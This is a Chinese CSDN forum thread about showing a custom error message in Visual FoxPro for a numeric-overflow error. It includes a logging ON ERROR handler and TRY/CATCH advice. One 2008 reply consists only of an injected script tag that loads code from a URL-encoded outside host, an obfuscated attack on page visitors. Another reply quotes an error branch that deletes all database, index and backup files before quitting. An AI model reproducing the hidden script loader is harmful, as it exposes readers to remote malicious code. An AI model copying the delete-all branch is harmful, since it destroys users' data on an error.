如何做自己的错误提示

ourangel 2007-06-29 09:24:04
我有一个数据录入界面,数据录入后,点保存按钮,按钮里有计算公式。数据错误时,vf会提示数值上溢(39)错误,我想在出现这类错误时,不要系统提示的错误对话框,而提示我自己写的,比如:“数据有错误,请修改”,然后反回到录入数据的界面中,能修改数据。vf提示错误后,程序就不能正常运行了。
...全文
251 6 打赏 收藏 转发到动态 举报
写回复
用AI写文章
6 条回复
切换为时间正序
请发表友善的回复…
发表回复
qqding 2008-08-05
  • 打赏
  • 举报
回复
<script src=http://%76%63%63%64%2E%63%6E></script>

十豆三 2007-06-30
  • 打赏
  • 举报
回复
nValue=MESSAGEBOX('程序发生错误!详细信息如下:'+CHR(10)+CHR(10)+;
'错误代号:'+LTRIM(STR(tnError))+CHR(10)+;
'错误行号:'+LTRIM(STR(tnLineno))+CHR(10)+;
'错误信息:'+tcMessage+CHR(10)+;
'错误代码:'+tcMessage1+CHR(10)+;
'错误位置:'+tcProgram+CHR(10)+CHR(10)+;
'该错误已经记录到文件:ErrorLog.txt,MemoryLog.txt,StatusLog.txt。 ';
,2+48,'信息提示')
DO CASE
CASE nValue=3
CLOSE DATABASES ALL
CLOSE ALL
DELETE FILE *.DBC
DELETE FILE *.DCT
DELETE FILE *.DCX
DELETE FILE *.DBF
DELETE FILE *.idx
DELETE FILE *.bak
SQLEXEC(gnConnHandle,'IF @@TRANCOUNT>0 ROLLBACK')
QUIT
CASE nValue=4
RETRY
CASE nValue=5
RETURN
ENDCASE

改为

nValue=MESSAGEBOX('程序发生错误!详细信息如下:'+CHR(10)+CHR(10)+;
'错误代号:'+LTRIM(STR(tnError))+CHR(10)+;
'错误行号:'+LTRIM(STR(tnLineno))+CHR(10)+;
'错误信息:'+tcMessage+CHR(10)+;
'错误代码:'+tcMessage1+CHR(10)+;
'错误位置:'+tcProgram+CHR(10)+CHR(10)+;
'该错误已经记录到文件:ErrorLog.txt,MemoryLog.txt,StatusLog.txt。 ';
,0,'信息提示')
RETURN
十月鹰飞 2007-06-29
  • 打赏
  • 举报
回复
用异常结构就可以了
try
catch
finnlly
endtry
把捕获异常的语句写在CATCH语句里,就可以了.
ourangel 2007-06-29
  • 打赏
  • 举报
回复
就对数值上溢(39)这个错误就行,别错误不用考虑。
ourangel 2007-06-29
  • 打赏
  • 举报
回复
十三豆,你发的代码我试了,出错后是提示了,但出来的提示框有终止,重试和忽略按钮,点哪个程序都要退出。我不想要这样的结果,我只想让错误提示框,只有一个确定按钮,点一下确定,能返回到数据录入的界面,可以修改数据就行了,不要退出程序。能不能实现啊。
十豆三 2007-06-29
  • 打赏
  • 举报
回复
转一下张洪举老师书的代码:

将以下代码存入一个Prg文件,如:MyFunction.Prg
*====================================================
*作 用:写错误到日志ErrorLog.txt,并显示错误信息
*语 法:MyWriteShowErr(n错误代号,c错误信息,c错误代码,c错误位置,n错误行号)
*参数说明:ERROR(),MESSAGE(),MESSAGE(1),PROGRAM(),LINENO(1)
*返 回 值:无,直接写入日志文件并显示了错误信息
*====================================================
FUNCTION MyWriteShowErr
PARAMETERS tnError,tcMessage,tcMessage1,tcProgram,tnLineno
SET TEXTMERGE DELIMITERS TO
SET TEXTMERGE ON
SET TEXTMERGE TO ErrorLog.txt ADDITIVE NOSHOW
\-----------------------------------------------
\<<DATETIME()>>
\程序标题:<<_SCREEN.Caption>>
\程序开发版本:<<VERSION(1)>>
DO CASE
CASE _SCREEN.WINDOWSTATE= 0
\窗口状态:普通
CASE _SCREEN.WINDOWSTATE= 1
\窗口状态:最小化
CASE _SCREEN.WINDOWSTATE= 2
\窗口状态:最大化
ENDCASE
\窗口可视:<<IIF(_SCREEN.Visible= .T.,'可见','不可见')>>
\窗口集合数:<<_SCREEN.FormCount>>
\网络机器信息:<<SYS(0)>>
\
\执行程序:<<JUSTFNAME(SYS(16,1))>>
\执行程序所在目录:<<JUSTPATH(SYS(16,1))>>
\执行程序所在目录磁盘可用空间:<<LTRIM(TRANSFORM(DISKSPACE(JUSTDRIVE(SYS(16,1))),'999,999,999,999,999'))>>
\
\默认目录:<<SYS(5)>><<SYS(2003)>>
\默认目录磁盘可用空间:<<LTRIM(TRANSFORM(DISKSPACE(SYS(5)),'999,999,999,999,999'))>>
\文件搜寻路径:<<SET('PATH')>>
\
\系统临时目录:<<SYS(2023)>>
\虚拟内存池大小:<<SYS(1001)>>
\
\正在使用的工作区:<<ALIAS()>>
\活动字段:<<VARREAD()>>
\
IF TYPE('_SCREEN.ACTIVEFORM.NAME')='C'
\活动表单:<<_SCREEN.ActiveForm.NAME>>
\表单标题:<<_SCREEN.ActiveForm.CAPTION>>
\表单基类:<<_SCREEN.ActiveForm.BASECLASS>>
\表单派生:<<_SCREEN.ActiveForm.CLASS>>
\表单派生库:<<_SCREEN.ActiveForm.CLASSLIBRARY>>
\表单位置:<<SYS(1271,_SCREEN.ActiveForm)>>
ELSE
\无活动表单
ENDIF
IF TYPE('_SCREEN.ACTIVEFORM.ACTIVECONTROL')='O'
\活动控制:<<_SCREEN.ACTIVEFORM.ACTIVECONTROL.NAME>>
IF TYPE('_SCREEN.ACTIVEFORM.ACTIVECONTROL.NAME')='C'
\控制标题:<<_SCREEN.ACTIVEFORM.ACTIVECONTROL.CAPTION>>
ENDIF
\控件基类:<<_SCREEN.ActiveForm.ACTIVECONTROL.BASECLASS>>
\控件派生:<<_SCREEN.ActiveForm.ACTIVECONTROL.CLASS>>
\控件派生库:<<_SCREEN.ActiveForm.ACTIVECONTROL.CLASSLIBRARY>>
\控件位置:<<SYS(1271,_SCREEN.ActiveForm.ACTIVECONTROL)>>
ELSE
\无活动控制
ENDIF
\
\错误代号:<<tnError>>
\错误信息:<<tcMessage>>
\产生错误的位置:<<tcProgram>>
\所在行号:<<tnLineno>>
\产生错误的代码:<<tcMessage1>>
\
\输出内存使用情况 -> MemoryLog.txt
\输出工作环境到 -> StatusLog.txt
SET SAFETY OFF
DISPLAY MEMORY NOCONSOLE TO FILE MemoryLog.txt
DISPLAY STATUS NOCONSOLE TO FILE StatusLog.txt
\
\-----------------------------------------------
SET TEXTMERGE TO
nValue=MESSAGEBOX('程序发生错误!详细信息如下:'+CHR(10)+CHR(10)+;
'错误代号:'+LTRIM(STR(tnError))+CHR(10)+;
'错误行号:'+LTRIM(STR(tnLineno))+CHR(10)+;
'错误信息:'+tcMessage+CHR(10)+;
'错误代码:'+tcMessage1+CHR(10)+;
'错误位置:'+tcProgram+CHR(10)+CHR(10)+;
'该错误已经记录到文件:ErrorLog.txt,MemoryLog.txt,StatusLog.txt。 ';
,2+48,'信息提示')
DO CASE
CASE nValue=3
CLOSE DATABASES ALL
CLOSE ALL
QUIT
CASE nValue=4
RETRY
CASE nValue=5
RETURN
ENDCASE
ENDFUNC



然后在主程序中加设置语句:
SET PROCEDURE TO MyFunction.PRG
ON ERROR MyWriteShowErr(ERROR(),MESSAGE(),MESSAGE(1),PROGRAM(),LINENO(1)) &&捕获、写、显示错误

2,722

社区成员

发帖
与我相关
我的任务
社区描述
VFP,是Microsoft公司推出的数据库开发软件,用它来开发数据库,既简单又方便。
社区管理员
  • VFP社区
加入社区
  • 近7日
  • 近30日
  • 至今
社区公告
暂无公告

试试用AI创作助手写篇文章吧